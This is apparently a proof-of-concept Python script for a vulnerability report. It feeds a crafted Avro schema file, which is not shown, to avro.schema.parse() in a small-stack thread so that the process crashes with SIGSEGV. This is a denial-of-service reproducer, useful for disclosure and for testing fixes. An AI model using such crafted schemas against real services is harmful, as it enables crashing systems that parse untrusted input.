| |
| """ |
| Reproduces the crash using the malicious_schema.avsc file in this repo. |
| |
| pip install avro |
| python3 reproduce.py |
| |
| Expected on an affected system: process terminates with SIGSEGV |
| (exit code 139), not a caught Python exception. |
| """ |
|
|
| import sys |
| import threading |
|
|
| GEVENT_TYPICAL_STACK_BYTES = 262144 |
|
|
|
|
| def main(): |
| with open("malicious_schema.avsc", "r") as f: |
| schema_json = f.read() |
|
|
| print(f"Payload size: {len(schema_json)} bytes") |
| print(f"Thread stack size: {GEVENT_TYPICAL_STACK_BYTES} bytes (gevent-typical default)") |
| print(f"sys.getrecursionlimit(): {sys.getrecursionlimit()} (untouched default)") |
| print() |
|
|
| import avro.schema |
| parse_fn = getattr(avro.schema, "parse", None) or getattr(avro.schema, "Parse", None) |
|
|
| def worker(): |
| print("[worker thread] calling avro.schema.parse() on malicious_schema.avsc...") |
| parse_fn(schema_json) |
| print("[worker thread] parse() returned without crashing " |
| "(try a deeper schema for this environment)") |
|
|
| threading.stack_size(GEVENT_TYPICAL_STACK_BYTES) |
| t = threading.Thread(target=worker) |
| t.start() |
| t.join() |
|
|
| print() |
| print("If you see this line, the process survived. On an affected " |
| "system, the process crashes with SIGSEGV before this point " |
| "is ever reached.") |
|
|
|
|
| if __name__ == "__main__": |
| main() |
|
|